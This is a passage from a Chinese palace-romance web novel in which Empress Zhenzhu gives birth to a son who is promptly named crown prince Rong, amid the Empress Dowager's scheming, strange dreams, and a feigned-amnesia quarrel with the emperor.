索性不管怎么样她都不能顺心遂意,最终只能听之任之。
赵太后都不说话,旁人即便觉得不妥,也不敢上去劝皇帝离开了。
媜珠乖顺地被他喂食参汤和鹌鹑肉,太后站在一旁默默地看着,忽然想起来问了一句:“皇帝身上的那些血痕是哪里沾来的?”
佩芝应了一嘴:“娘娘是和陛下在外头散步赏春时突然发动了的,陛下就把娘娘从花苑里一路抱回来的,身上难免沾染羊水。”
太后不再说话了。
吃完了那盅参汤鹌鹑肉后,媜珠的情绪倒真的平静了许多下来。
稳婆看了眼她的身子,还说娘娘的命好,发动得快,已经可以准备好好用力了,皇儿很快就能生下来了。
第一次怀胎分娩,媜珠什么都不懂,当真就被她们这样忽悠住了,满心期待可以早点摆脱痛苦,被她们哄着一遍又一遍地用力,从上午生到下午,稳婆们嘴里还是那套话,一直是快了快了,就是不见孩子出来。
中途连赵太后都抽空去偏殿用了午膳,皇帝一直守在她身边,寸步不离地陪着他。
媜珠到最后就要哭出来,双手四处乱抓,攀附着一切能让她用力的东西,最后误打误撞攥住了他的手臂,将他紧实的臂膀上抠得一片抓痕。
他一动不动地由着她抓,小心地给她擦拭脸上的汗珠和泪痕,还不停地哄她。
突然,媜珠一下握紧了他的手,像是努力想从他身上汲取力气,只是在之后的某一个瞬间,她紧紧绷起的身体一下泄出了所有力量,浑身瘫软在产榻上,只默默地哭,一句话也说不出来。有什么东西破壳而出,降临于世。
周奉疆头脑空白了片刻,唯有余光瞥见产婆们团团围住了什么东西上去,须臾,殿内传来了一声嘹亮的婴孩啼哭。
这啼哭声是这崭新的王朝在这一年春日里缓缓抽出的第一只嫩芽,充满了无限生机。
他只看着媜珠,其他的一切都无暇分心关注,身后是一堆产婆嬷嬷们一面哄孩子一面叽里咕噜冒出的一堆贺喜吉祥话,夹杂着赵太后的几声笑语。
一切都是嘈杂的,只有媜珠的虚弱是真切的。
赵太后满面笑意地来到媜珠榻前,先问过媜珠无碍,而后便笑得合不拢嘴:
“安心吧,是个齐全周整的漂亮孩子,多像你,又像皇帝那样健壮!连哭起来都比寻常的婴孩有劲。”
是有劲,就那么一小团,偏偏满殿里人说话的声音都盖不过那孩子一个人的哭声。
产婆和嬷嬷们大约已为这套乞要赏赐的话术排练过许多遍,待用明黄的团龙纹包被将那擦去血污的婴儿小心包裹好后,她们便一拥而上地跪至帝后二人跟前:
“恭贺陛下、娘娘喜得嫡子,今月嘉辰,皇子载诞,国生元嗣,亿载之基,无疆之祉!”
皇帝长长呼出一口气,轻抚过媜珠苍白的脸色:
“是,国生元嗣,皆赖皇后一人辛苦之功……”
他正了正神色,连自己的儿子都还没回头看过一眼便斩钉截铁地道:
“亦嫡亦长,又乃国之贵子,当立为太子!”
赵太后拍手称好,“太子尚不可无名,陛下该即刻去召来三省官员,告之国喜,和三省官员学士们一道为皇太子拟名,哦,再载入宗正寺的玉牒里,拟旨晓谕天下才是!”
她这是生怕皇帝反悔似的。
第103章
赵太后说完这话,周奉疆正要答她,忽感觉自己的袖口被媜珠轻轻牵住了一下,他垂眸看向媜珠,惊觉媜珠的状态似乎越来越虚弱了。
她像一朵被风雨摧残折磨过的花,花瓣都被打得摇摇欲坠,几乎要没了生气似的。
其实这会儿周奉疆说的话,包括那刚出生的婴孩的啼哭声,一切声响落入媜珠耳中都是混混沌沌、迷迷糊糊的,并不真切。
初初成为一个母亲,与生俱来的天性使得她迫切想要看一眼那个自己刚刚生下的孩子。
但她从未经历过这样的苦楚,在产榻上勉强挣扎了数个时辰,又被一群产婆和嬷嬷们来回摆弄,早已使她精疲力尽,几乎连张口说一句话的力气都没有了。
她用尽最后的力气拉了拉周奉疆的衣袖,想让他把孩子抱来给她看一眼,然周奉疆显然不能意会她的心思,还想问她些什么,媜珠眼前一下昏黑过去,脑袋一歪,整个人便没了意识了。
皇帝的神情也瞬间高度紧张起来,几乎是双手颤抖着起身要唤王医丞他们过来看看。
还是赵太后稳住了他,一再和他说媜珠只是太累了,暂时睡着了。
王医丞也赶忙入殿为媜珠切脉,而后也同样斩钉截铁地向皇帝保证,说娘娘脉象平稳,只是产后太过虚弱,被累得睡着了而已。
周奉疆剧烈的心跳这才慢慢平复下来。
他转身看了一眼被乳母抱在明黄襁褓里的那个孩子,其实这个角度他并未看清那孩子的模样,只听他哭得很起劲,但眼下也顾不得这些了,只叫人把孩子先抱去偏殿里,叫她们的手脚都放轻些,别吵了皇后休息。
赵太后有些惊愕:“我儿,你不去看看你的儿子?”
他亦被熬得疲倦不堪,长长呼出一口气,“我在这里陪着媜媜,等她醒来。”
他并不是不喜欢他们的孩子,并不是不高兴,只是他现在也累得很,他何尝不是提着一口气艰难地熬到媜珠顺利生产,母子平安,方才她挣扎在产榻上的每一瞬间,他都在害怕,害怕她忽然哭着告诉他说,她没力气了,她生不下来。
媜珠睡下了,他也想静静地守在她身边,陪着她,自己也稍稍缓一口气。
可赵太后是绝不准他们两人都歇下的。
她还在心里暗骂媜珠这个死丫头睡得不是时候,早不睡晚不睡偏偏现在睡,眼见是个没出息的,方才她要是没睡下,说不定皇帝现在已经去立太子了。
不过现在媜珠睡都睡了,太后不好说她什么,只能极言规劝周奉疆去忙些“正事”。
至于什么是她眼里的“正事”?
去宣室殿召见群臣,告之帝后得嗣之喜,再率群臣与宗亲去祭祀宗庙,告于先祖,然后就赶紧为小太子拟定一个正式的大名,叫中书舍人们起草诏令,传于天下知悉,还要快点为小太子行册封大典。
被她这样一使唤,周奉疆沉吟片刻,倒也觉得她说的的确有几分道理。
他想的是,若是等媜珠醒来时他告诉她说,他已经立了他们的孩子为太子,也许媜珠会高兴些的。
他希望媜珠能高兴,希望媜珠能知道他爱她,因为在他这里只有子以母贵,他也爱他们的孩子。
皇帝回首又深深看了一眼媜珠的睡颜,这才转身离去。
他走后,赵太后留在殿内也看了看媜珠,为媜珠捏好被角,擦了擦媜珠额头残存的汗珠,盯着嬷嬷们给媜珠擦干净身子,换了榻上的被褥,然后轻轻放下床帘,给她好好休息,她也缓步离开,转身又去了偏殿里看看小皇孙。
这孩子看着健壮,其实生下来才刚过六斤多一点,六斤一两,委实算是很小了。
宫里的后妃们一旦有孕,十之八九都被好吃好喝地供着,腹中胎儿少说都要往七八斤上走,怎么能像媜珠一样生下这么小的孩子呢?
都是因为媜珠孕期的饮食被人盯得很紧,谁也不准她多吃一口,所以孩子养得小,她生得时候才顺利,生完了,身子也没什么撕裂和损伤。
所以说不听老人言,必是要吃亏的。若不是她这做母亲的盯着她,但凡任由她孕期胡吃海喝地往肚子里塞,恐怕今日她能不能把孩子生下来都难说。
抱着小皇子的乳母严氏等人也说这话呢,说小皇子生下来比寻常的婴孩要瘦小些,她们定会认真细致地好好喂养小皇子的,一定会让小皇子健健壮壮地长大。
太后伸手在孩子的脸颊上轻轻抚过,心头百感交集,正在感慨间,听见乳母们说起这话,她旋即微笑着摇了摇头:
“你们该怎样照顾就怎样照顾,顺其自然就好。我们小太子虽小,可是并不孱弱,也没有娘胎里带来的不足,面色红润,哭嚎有劲,吃奶也有劲,那是皇帝的种好呀,他的儿子肯定是好养的,可不是那些羸弱的病猫种。你们且等着吧,等到满月的时候,我们小太子就和那些生下来八九斤的孩子长得一般大了。”
乳母们一听这话也是连忙恭维称是:“陛下乃天子,龙种当然和寻常人家的婴孩非同一般了。”
太后却在心里笑道,就算他做不了皇帝,他的种也一样好啊,当年他生母郑氏那样苛待折磨他,都没能把他弄死,这就足以说明问题。他的儿子也一定好养活,不是那种打个喷嚏就能要死要活的瘟猫病种。
这么一想,她越发高兴起来,想着她的孙儿平平安安健健康康长大成人自不是问题,而这孩子一降世,她悬着的心也终于可以落回肚子里,后半辈子的安稳荣华、死后的哀荣香火,一切一切都不用愁了,一切的问题都迎刃而解了!
她看着这孙儿的眼神愈发慈爱起来。
不过,太后做了祖母的慈爱,可是和一般的老妇人做了祖母疼爱自己孙子的慈爱很不一样。
别的老妇人有了孙子,当了祖母,那是把自己的孙子当祖宗一样供起来,省下多少好吃好喝地都要捧到宝贝孙子面前,只要孙子愿意,自己的心肝掏出来给孙子吃了也甘心,只恨不能匍匐在地,跪在孙子面前伺候这个孙子。谁要是敢说她的孙子半分不好,她就能和谁拼命。
显然,赵太后还没有慈爱到这个份上。
她看着自己孙子的眼神,则是在充分地畅想着她的孙子能给她带来什么,畅想着等他长大了,她该如何使唤他、驱使他,让他为自己尽孝,让他为自己带来无尽的好处。
她使唤周奉疆这个养子并不算得心应手,因为没有那层血亲的关系,皇帝不是她肚子里爬出来的,就算她养育了他一场,可底气还是虚的,她也怕皇帝随时随地会翻脸不认人。
可现在好了,亲孙子总算是有了,他身上也流着她的血,她是他亲祖宗,他总不能不孝敬她!
太后回到承圣殿的一路上都带着抹不去的笑意,福蓉也高兴:“太后盼了这么多年,总算一朝得偿所愿了。”
“也算是她的肚子争气,我没有白养活她一场。哎,当年我初与周鼎成婚时,有个装神弄鬼的死老道,嚷嚷着说我腹中血脉可以贵极天下,我一直以为他说的是我生下的儿子,没想到却应在了这个上头,原来说的是我的孙子!”
“不管应在什么上头,总归以后的嗣位之君,身上流着的都有太后您的一份血脉,旁人比不来的。”
“对了,”
赵太后的脚步微顿,“你打发人也和关起来的那个死丫头说一声,告诉她,叫她怀着身子少吃些东西,别把肚子养得大如铁球一般,到时候生也不好生,要有吃不尽的苦头的。告诉她,她妹妹养下的孩子才六斤多些,只要男人的种好,不还是一样活蹦乱跳,碍不了什么事的。”
关起来的那个死丫头,当然说的就是周婈珠了。
福蓉一面应下,一面又恭维说太后心善,还能念着那个犯了罪的庶女。
赵太后最后说出的这番话也不知是在嘲讽讥笑还是单纯地感慨了,
“媜媜还有亲娘看着,四娘生产时也有生母李太妃陪着,只她又没了母亲,一个人怀胎养孩子,没有亲娘提点她,我这个嫡母好歹要尽尽心。”
媜珠沉沉睡去的这段时间里,宫里宫外皆因她腹中诞下的这个孩子而天翻地覆,沸沸扬扬。
赵太后为她打点好了一切,以皇后的名义给宫里的下人奴才们该赏赐的都赏赐了,该施的恩典也都施下去了。
而她的丈夫则已确定了她孩子无可动摇的储君地位。
他为他们的孩子取名为“戎”。
《左传成公十三年》内有名句曰:“国之大事,在祀与戎。”
皇帝命太子为“戎”,爱重之意已十分明显,无需多言矣。
外头喧喧嚷嚷,盛况空前,丝毫影响不了媜珠在椒房殿内的好眠。
她甚至还一连做了好几个光怪陆离的幻梦,一个接着一个梦境在她面前接连闪过。
第一个梦,她梦见自己的孩子没有顺利生下来,她死于分娩之苦,并且最终一尸两命,只能抱着自己的孩子默默地来到了阴司地府里,准备讨一碗孟婆汤再去投胎。
结果她刚抱着孩子挤进了阎王殿里,远处传来阵阵轰鸣声,一众鬼怪们纷纷四散逃开,说是人皇下阴间来了。
她还没摸清状况,却见周奉疆那厮着衮服大裳、大绶大带,耀武扬威地骑在高头大马上寻来了她面前,将她和怀中的孩子拉到马上去,对她说:
“好妹妹,你以为躲到阴间就能从我手心里逃走了?”
不知是不是她梦中的阴司地府太过可怖,她看着周奉疆那阴恻恻的笑更觉害怕,嘭一下又钻入了第二个梦里。
第二个梦,她死了,孩子没死,她生下一个小皇子,小皇子被他立为太子。
她死后,他郁郁寡欢地沉默了许多年,从此再不纳后宫,只一边一心养育着他们的孩子,一边在宫里各种做法要把她起死回生,还悄悄把她的尸身放在冰棺里数年不准下葬。
媜珠很无奈,其实她已经到地府打好了关系,一切收拾妥当,只等着重新投胎了。
可是周奉疆在阳间不准。
他每天晚上都要做法把她的魂魄召来人间,要她陪伴他,她不愿意,他就对她各种威胁,逼她过来。
他还威胁她说,如果她不肯过来陪他,他就拿她那还没下葬的完整尸体相陪,用她的尸体来稍解相思之苦。
媜珠觉得哥哥太没有底线了,简直根本就不是人,但她也只能每天晚上哭哭啼啼地飘回椒房殿的寝殿里陪着他。
而每个短暂相守的夜晚,他都对她严加拷问,问她有没有在地府里偷偷和别人好上。他很在意这一点。
“你知不知道,就因为你,这么多年我不敢杀张道恭,他病了我比他自己还着急,不惜重金把他治好了,就怕你们这对野鸳鸯在阴司地府里重逢相会!”
媜珠觉得他实在太可怕,被吓得不轻,嘭一下又钻入了第三个梦里。
——他是李伯骧,她还是周媜珠,也是李家的儿媳。
这一次,他们两人恩恩爱爱堪称“正常”地过完了夫妻情深的一世。
这个故事她之前听他说过,但只有自己经历过一遍之后,她才发现原来竟是真的。
嘭一下,这次她没有再钻进下一个梦里,她醒了。
周奉疆坐在她的床榻边看着她,眼神温柔而怜惜,宠溺非常:
“媜媜,你醒了?身上还好受吗?是不是饿了?要不要吃些东西?是想喝些甜羹还是汤膳?”
媜珠默然许久,并未答他,想到方才这人在自己梦里对自己的百般折磨,忽地起了些作恶的心思,眼神迷茫起来:
“你是谁呀?”
周奉疆的笑意也凝固住了。
他先随意安抚好她,而后赶忙退到殿外去找王医丞来询问。
王医丞也说这是有概率的事情,兴许娘娘就是在生产之后又受了刺激,陡然又忘记从前的事情了,不过只要以后养的好,说不定还会再想起来的。
于是乎,等周奉疆再回到媜珠身边时,他虽痛心于她的再度失忆,但为了博得她的信赖和爱意,一回生两回熟,这一次他又能面不改色的继续哄骗她。
“媜媜,我是你青梅竹马的丈夫,我们一直相爱非常。是你受苦了,你为了给我生育子嗣,分娩时遭了痛苦折磨,所以短暂失忆了,记不起曾经我们相爱过的往事了。”
媜珠演失忆也不是第一次,她也能很好地接上话茬:
“你是谁?你是谁?我一点也记不得你了,我怎么会给你生孩子……我要回家,我要爹爹和阿娘……”
周奉疆控制住力道,不轻不重地将她按住:
“这里就是我们的家!媜媜!我是你的丈夫,是你从前要死要活非嫁不可的情郎!还记得吗,当年你为了嫁给我,不惜和家中所有人闹翻,以死相逼定要和我在一起,我们这些年很恩爱的,你没有失忆前对我百依百顺,以夫为天,贤良温婉……现在我们还有了个孩子,你不想看看我们的孩子吗?”
她的眼神愈发惶恐和无辜起来:“夫君……丈夫?我当年以死相逼家人,一定要嫁给你?”
他点头应是:“这些年来你都对我万般痴迷,只有在我身边才能心安,你离不得我的,乖,你才刚生完孩子,好好歇一歇,好不好?也许过一会就能想起来了。”
媜珠面上渐渐浮起冷笑来:“不要脸,我什么时候闹着要嫁给你了!我什么时候对你万般痴迷了!只有你逼婚骗婚的份,你厚颜无耻,还敢对我栽赃陷害!”
……
周奉疆也蓦然回过味来了。
他凝神盯着媜珠看了许久,亦是森然冷笑,是被她气笑的:
“……媜媜啊,朕念着你辛苦,暂且不和你一般计较,你且等着吧。”
媜珠尚不知道,待她坐完了月子总算可以侍寝的那个晚上会遭受多少清算和折磨。反正她孕期也没少折腾,干了不少惹他生气的蠢事,他也忍下许多旧账没有舍得教训她。
她还在为自己可以算计他一回而感到得意,刚想开口说些什么来嘲笑他,母亲也风风火火地赶来了她这里,边往里走边道:
“哎呀我的祖宗,这又闹了什么官司了?怎么刚生完孩子就吵吵嚷嚷的?为人父母了还是这般小儿女打打闹闹的作态,哪有一点大人的模样?要我说你们这样也养不好孩子,戎儿不如给我抱去养才好。”
第104章
太后行至媜珠床榻前,对媜珠产后的状态也十分满意安心。
因为要坐月子的缘故,她一头的长发已叫嬷嬷们盘了起来,挽成一个温婉的发髻,带着一条双凤衔牡丹纹的金累丝镶宝珠绣抹额,是给她产后防风保暖,防止头上吹了风染下头疾的。
宫娥搬来椅子给太后坐下,她看着媜珠的眼神格外柔和慈爱,抚了抚媜珠身上的蜜合色杭绸寝衣,那轻盈柔软的布料低垂着,绣娘在双袖上绣着一片枝簇丛生的金系腰牡丹,光艳动人。
太后一连说心疼她分娩辛苦,又夸赞她生下的孩子漂亮健壮。
若不是顾忌周奉疆还在这里,恐怕她要忍不住拊掌大笑起来:
“我都乖女儿,还是你的肚子争气,等皇帝一死,以后这天下还不是我们母女的了!”
然而在养子的面前,她也只好将这话咽下了肚子里。
媜珠靠在床头瞧了瞧自己的母亲,也觉得她神采飞扬、容光焕发得有些过分了,仿佛一夜之间年轻了十岁似的。
太后问起他们方才拌嘴都说了些什么,周奉疆神色淡淡地告了媜珠的黑状,说她又故意装失忆吓他。
“好了好了,这些陈芝麻烂谷子的事儿以后不准提了,在我这里都翻篇了!这样喜气洋洋的时候,提这些晦气事做什么!”
她最终为媜珠的过往下了一个这样的定论。
说完这话,她急忙转移话题,问起他们兄妹二人可有没有去看过孩子,媜珠这一觉从她生完孩子的三月十六日下午时分睡到了翌日的上午,睡得昏天黑地,周奉疆忙也忙得昏天黑地,帝后二人说来也是笑话,竟然至今还没亲眼看看自己的孩子。
一提这话,媜珠也上心呢,她支起身体朝外望去:
“我的孩子呢?我的孩子在哪里?把我的孩子抱来给我看看啊……”
只有做了母亲才明白为人母对孩子的牵挂,哪怕生下了孩子,可她还是觉得那是连接在她身上的一块肉,是她的血肉。
孩子一刻不在她眼前,她就觉得自己身上缺了一块儿,想起来便觉得痛。
——也难怪周婈珠宁愿舍弃一切,也不肯送出自己的孩子了。
若是现在有人让她在皇后之位和自己的孩子当中二者选一,她也宁可不当皇后,只求能留住自己的孩子。
直到乳母们将那包在团龙纹襁褓中的新生儿轻柔地搁置在媜珠的身边,媜珠才觉得自己身上缺失的那块血肉回来了。
她缓缓拨开遮住孩子脸庞的一块布料,像一只刚生完孩子的猫儿、兔儿一样,下意识地凑过去轻轻嗅了嗅孩子身上的味道,竟忍不住有了几分要落泪的意思,眼眶也湿润起来。
周奉疆立刻用绢帕擦拭掉她还未及落下的泪珠:
“媜媜妹妹昨天生产时很是英勇,是这世上最了不得的母亲。乖,不哭了,月子里不能见泪的,哭伤了脸就坏了。”
太后对他瞥去赞赏的一眼,对这女婿尚算满意。
那孩子在包被里睡得正香甜安稳,虽然确实是小小的一团儿,但当真生得很漂亮,也没有皱巴巴的,圆润白胖,可爱极了,胎发也浓密,身上无一处瑕疵,连多一块难看的痣也没有,眉眼的精致生得很像媜珠,又已隐约可见一份他父亲的英气。
他的皮肤那样幼嫩,即便是媜珠这样肌肤细腻的指腹也不敢随意触碰孩子的脸颊,唯恐刮伤了他。周奉疆的掌心粗糙还带着薄茧,就更不敢碰他了。
她当真生了个人,生下一个活生生的人,一个活生生的孩子。这感觉太奇妙,令她心潮澎湃,无法自拔。
媜珠和周奉疆初为父母,两个人静静地凑在孩子跟前看,看上许久都不觉厌烦,若非太后出声打断,恐怕他们一家三口可以在这里保持静止一个时辰也不动弹半下。
孩子静静睡着,父母静静看着,一切都是静谧温馨的。这是属于他们这个小家庭的时光,亘古不能磨灭的天家温情。
太后说:“你哥哥给这孩子取了个名字,叫戎。”
媜珠抬头问起:“什么戎?”
太后微笑:“《左传》里说,国之大事,在祀与戎。”
媜珠不禁莞尔:“《诗经》里也说,整我六师,以脩我戎。戎,征伐兵刃事也。《诗经》里又说,念兹戎功,继序其皇之。戎,表极盛大也。不管是哪个意思,这孩子会不会都承受不起了?”
皇帝叹息:“朕的儿子当得起这个字。他是国之元嗣,他受不起,谁能受不起。何况,”
他眼底有几分玩味,“朕已命中书舍人拟制成诏,晓谕天下,宫里宫外,长安内外,乃至天下人都知道咱们的孩子叫戎,哪里还能改呢?”
这个字的确很不一般,也倾注了皇帝对他儿子的无限期盼爱重之意,但后来,每次周奉疆要摆君父的威风对儿子训诫起来时,也会毫不留情地骂他是“犬戎”。
——“周犬戎,你给朕滚过来!”
犬戎,戎人的一支,部族之名,异族夷狄也。
犬戎犬戎,到了他嘴里,就成了他的狗儿子了,实实在在的犬子。
媜珠彼时尚不知这些后话,否则她现在必是要阻止他这样给孩子取名的。
她这会儿听完周奉疆的话,又有些愣愣地问:“陛下拟什么诏?”
周奉疆握住媜珠的双手,深深望着她:“拟诏立我们的孩子当太子。待他满百日时便行册封之礼。”
媜珠垂下眼眸,“陛下厚爱,妾感激不尽。”
太子戎还安静地躺在父母眼皮子底下呼呼大睡,他祖母也在一旁看着呢,周奉疆对媜珠的情意却毫不掩饰,
“说什么傻话,我该谢谢你才是。若非你辛辛苦苦为我冒死生下孩子,朕纵有万里江山,又该传给何人呢?媜媜,你受苦了。”
媜珠轻声道:“为阿兄这样龙骧虎视的雄伟男子生育子嗣,是媜媜身为女子莫大的荣幸,再辛苦也是值得的,只求阿兄以后要始终如一善待我们母子呢。”
她哄男人的本事也精进了不少,周奉疆摸不清她这话是逢场作戏还是确有几分真情,但眼下他的确万般受用,看着媜珠的眼神亦愈发深情宠溺起来。
还不等周奉疆又说了什么情话再哄她,太后忍无可忍,终于打断了他们,
“媜媜啊,母亲来是要叮嘱你几件坐月子里当心的事,你是头一回生产,什么也不懂,母亲和嬷嬷们说你什么,你都要用心去听,不能任性妄为。母子平安已是上苍眷顾,若你自己月子里不当心,积下一生的病症来,那天也管不了你了。”
媜珠立刻认真起来:“还请母亲教诲。”
太后能和她说什么呢,她说媜珠要坐足双满月,要防风防寒,两个月不准开窗,不准洗头洗脸洗身子,要多多地静卧,不准她踏出寝殿半步,饮食上都要听女医和嬷嬷们的安排,什么该吃什么不该吃都要有数,还有……
其实媜珠刚听她说到前两句时就有些崩溃了:
“两个月?我要在这里待两个月?连脸也不能洗?”
太后冷笑:“其实要我说三个月也不过分,戎儿百日之前,你最好都别踏出殿门半步,老老实实闷在里头才好。”
媜珠有些不情愿,还和她顶嘴了起来:“可我现在就想沐浴!外头春光正好,叫我一个人关在里头做什么……”
太后不耐烦地指着她,对周奉疆道:
“你也看到了她不服管教,我做皇太后的总不好搬来你们宫里寸步不离地看着她,我儿,还要你多用心看管她,你看她一辈子几时长大过,没人看着她就要作威作福!别说做人母了,她连做人的样子也没有!”
媜珠被吓得抖了抖,周奉疆颔首应下:
“母亲放心,媜媜为我受苦产子,儿子会好好看着她,照顾好她,不叫她做半件出格的事情,一定不会叫她积下什么月子里的病症。媜媜刚生产过,有些脾气也是难免的,母亲何必和她计较。”
赵太后最终没有抢走太子戎。
并非她不敢,只是她心中又顾念着,太子养在自己的亲生父母身边,尤其是父亲亲眼看着他长大,亲手带过的第一个孩子,感情总归是非同一般的,以后于这孩子即位也更加顺利些,是为了孩子的前程好。
她虽想抚育孙儿,然为了孩子的长远考虑,瞻前顾后的,还是忍下了。
福蓉私下安慰她:“皇后总不能就只生这一胎的,以后多少还要再生养,待再生了皇孙下来,可不得就要抱给太后养。”
赵太后笑着摇了摇头:“我自己的女儿,叫她一胎一胎不停地生呀?我也舍不得的。莫不像以前周奉尧的生母唐氏一般,给周鼎生了四胎,身子都生坏了。我看媜媜儿以后再生,叫她过几年生个小公主就好了,生下来我能抱着养。这样也就够了。不叫她再生了。”
“其实早些年吧,太后对我们这些庶子庶女也还算好的。”
赵太后打发人又出宫叮嘱了周婈珠几句养胎的心得,待宫中的女官走后,她靠在段充的身上,轻轻抚着自己的肚子,
“要怪就怪我爹爹的宠妾唐氏和周奉尧母子,都是那对贱婢先挑唆是非,仗着自己生了长子、仗着自己是爹爹的长子,母子两人在家中就有几分为非作歹的意思。唐氏甚至还买通了爹爹的幕僚们为她进言,想让爹爹把她抬成个平妻,说这样爹爹的长子是平妻生的,也算个嫡子,来日在人前为爹爹做事也体面些。”
周婈珠回忆着往事,不由淡淡冷笑,“从那之后,嫡母的性情就变了,看我们这些庶子庶女都不喜欢,俨然仇人一般,和我们都生疏了许多。”
“我小的时候,我生母也不算什么安分的妾室,但有一年我过生辰,赵太后还给我张罗过生辰宴,还给我梳过头发呢。”
有遗憾吗?
她的人生也有遗憾的。
“周媜珠昨日生了个儿子,她的命真好啊,她的儿子生下来就被封为太子!史书里又焉有眼睛都没睁开的婴孩便被立为太子的!刘据是卫皇后所生,也曾做过武帝的独子、爱子,不还是也要到七岁才立的太子吗!可周媜珠的儿子生下来还不到七个时辰就是太子!”
周婈珠攥紧了段充的衣袖,“如果后来的一切没有发生,如果我好好地承欢嫡母膝下,如果我没有嫁给张道恭,没有后来的事情……”
“也许我肚子里的女儿生下来,也能嫁给她家的周戎当太子妃呢。正是一对青梅竹马,凤子龙孙,怎么不相配了!”
段充是武人出身,读过的书不多,读过的史书就更是没有,但他还是忍不住出了个馊主意安抚周婈珠:
“公主,那也不一定的。汉武陈皇后不就是馆陶公主女么?后来做了皇后也一样被废了,男人的心意都是说不准的。未必您不出事,您的女儿就能嫁给太子。公主,既来之则安之,您不必追悔往事,伤的都是自己的心啊。”
周婈珠目瞪口呆地看着他:“你、你、你……”
其实媜珠也怕母亲要把戎儿带走,毕竟眼下她母亲是她名义上的婆婆,又是当朝皇太后,她要和自己的儿媳抢孩子,做儿媳的岂有敢不满足婆婆的道理。
但偏偏母亲也体谅她初为人母的心情,还是把戎儿留下了。
是好事也是坏事,至少开始手忙脚乱地照顾孩子时,媜珠没有经验,完全是措手不及的,必须时刻有乳母们在旁提点着她,否则她连抱孩子都不敢随便抱。
周奉疆也劝她不用这样辛苦,里里外外这么多乳母看着孩子,作为皇后,她只需要在孩子不哭时过去逗一逗玩一玩就好了,何苦要亲自上手?
媜珠叹息:“你不懂,做了母亲的人就会忍不住想要亲自照顾孩子的。”
大抵也是怕她坐月子闷在殿内无聊,有个孩子解闷倒也是好的,周奉疆也就不再多说什么了。
他知道媜珠爱他们的孩子,但他绝不会想到,自己只是一时半会没有看住她,她甚至愿意亲自喂养太子戎。
第105章
她能有这样充沛的精力陪伴戎儿,或许就要归功于她产后的确恢复得太好了,光是从气色上看,几乎已看不出什么生育后的痕迹了。
初初分娩过后时,她脸色确实苍白虚弱,看着吓人到几乎没了什么血色。
但她吃得好睡得好,又有一堆精通女科的医者、嬷嬷们悉心照料,被母亲和丈夫一起哄着,心里更无半分糟心琐事牵挂,被人细致而妥帖地养在锦绣绫罗之中,她怎么能不好?
为了生下孩子,她的确曾憔悴得如一朵枯萎凋零的花儿,然而不过转瞬光阴的功夫,有人精心地以仙露琼浆浇灌她,失去了光彩的花瓣在吸饱雨露后很快便重新焕发荣光溢彩。
周奉疆这一日回到椒房殿里时,一边往里走,一边问了句皇后在做什么,太子戎的乳母们候在珠帘纱帐外,小心地回禀皇帝说,娘娘在亲自喂养小太子。
他闻言一愣:“她亲喂太子?”
乳母们点头应是,说是娘娘自己要求的,方才娘娘也唤她们过来,说自己胸乳有些饱胀得难受,是不是说明自己有奶水,可以喂养孩儿?而后就叫她们教她。
他还未回过神来,媜珠在内殿床榻上扬声唤他:
“陛下,妾在喂养孩子,陛下别过来……”
他脚步一顿,只觉得甚至已隐约听见了婴儿在大口吞咽奶水时咕咚咕咚声,想到某种画面,身体亦莫名紧绷起来,颇有些口干舌燥。
媜珠还在唤他,声音有些紧张,显然是的确不想叫他看见,
“陛下先出去好不好?妾想先安心喂戎儿,再把他哄睡。”
皇帝微哂,心想她还有什么样子是他没见过的?他凭什么不能看她?
她合该所有的模样都由他亲眼见证过才是。
于是乎,出于某种隐秘的心理,他不仅并未理睬媜珠的呼唤,反而挥退了候在屏风后的乳母们,自己撩起珠帘纱帐,不紧不慢地行至内殿,出现在媜珠面前。
媜珠正柔柔地靠在床头栏杆上,怀抱着那个柔软的只有一小团的婴儿,解了寝衣的领口,裸露着胸前大片乳白雪腻的肌肤,而那小小的婴儿专心致志埋首在母亲胸口,努力地拱着脑袋吮吸吞咽着,几乎将自己整张脸都埋在了里头似的。
乳母们说她身子恢复得好,奶水很是充沛,适宜喂养小太子。
做了人母了,这样温柔地亲自哺乳孩子,使她身上拢着一层圣洁纯粹的母性光辉,宛如神女一般,和往日姿态很不一样,即便解开衣襟裸露着身子,也不该叫人生出亵玩玷污之心的。
可他偏偏还是口干舌燥,喉结滚动了翻。
从孕期开始,她那里就渐渐丰腴起来了,当真一眼看上去就是奶水充沛的模样。
媜珠被他吓了一跳,有些羞怯紧张,一边素手轻抚着孩子的背,一边轻轻拭去他额头的一点汗珠,望着周奉疆的眼神里尽是埋怨和不满:
“我让你别过来的。你出去。”
羞怯并非完全是因为他看了她衣衫不整袒胸露乳的样子,更多是源于她自己也有些难为情,她也是学着别人教导的样子开始做一个母亲,总有种说不出的不适应,所以她明明不想让人看见。
可他非要过来。
他在媜珠面前站定,垂眸静静地看着她是如何哺育孩子的。
明明自己的身体也被他看过抚摸过许多次了,眼下媜珠还是有些慌乱,按照她往日的脾气,若不是现在抱着孩子腾不出手来,恐怕眼下她定会随手抄起身边的什么东西就朝他身上砸,一边砸他还要骂上一句“老畜生”。
她呼吸有些乱了,身子微微发颤,胸前的雪腻软玉也颤颤晃了晃,连带着孩子有些没含住,哼哧哼哧了两下,在母亲怀里埋得更紧了。
他在她身边坐下,轻轻搂住她的腰身,将她和孩子都拥入怀中,柔声安抚夸赞她:
“媜媜妹妹是这世上最好的母亲,我们的孩子有你做母亲,是他毕生最大的幸事。”
媜珠被哄得有些高兴了:“真的吗?”
他颔首称是,
“可是我舍不得你这样辛苦,有那么多乳母照顾孩子,何必你自己辛苦去喂?还有,你才刚生产过,最好不抱孩子才好,常把孩子抱在怀里,累伤了腰身怎么办?怎么就这样不肯听话呢?”
说到底还是要规训她的,只是他现在学聪明了,不会再像从前那样不留情面地教训她而已。
媜珠低头不看他,“我自己的身体自己知道的。何况我自己的孩子,难道连一口奶水都不能喂他吗?”
她话刚说完,怀里的孩子已经吃饱了,将嘴里含着的东西吐了出来,咂巴咂巴嫩生生的小嘴巴,靠在媜珠身上又拱了拱。
媜珠轻抚着孩子的背,不多时就将他哄得睡着了,小心地搁在床边的婴儿摇篮里放着,他也一声不吭,继续睡得安稳,并不像寻常的婴孩那样,从母亲乳母怀里放到摇篮里就常常会陡然惊醒,而后哇哇大哭。
太子戎说是金贵得不得了呢,可偏偏没有那个金贵的架子,乳母们都说好带得很,该吃吃该睡睡,吃得有劲、睡得安稳,不是肯折腾的主,眼见着长得很好,在媜珠身边亦是如此,纵使她初为人母,从前并无经验,可照顾起他来也不费什么劲。
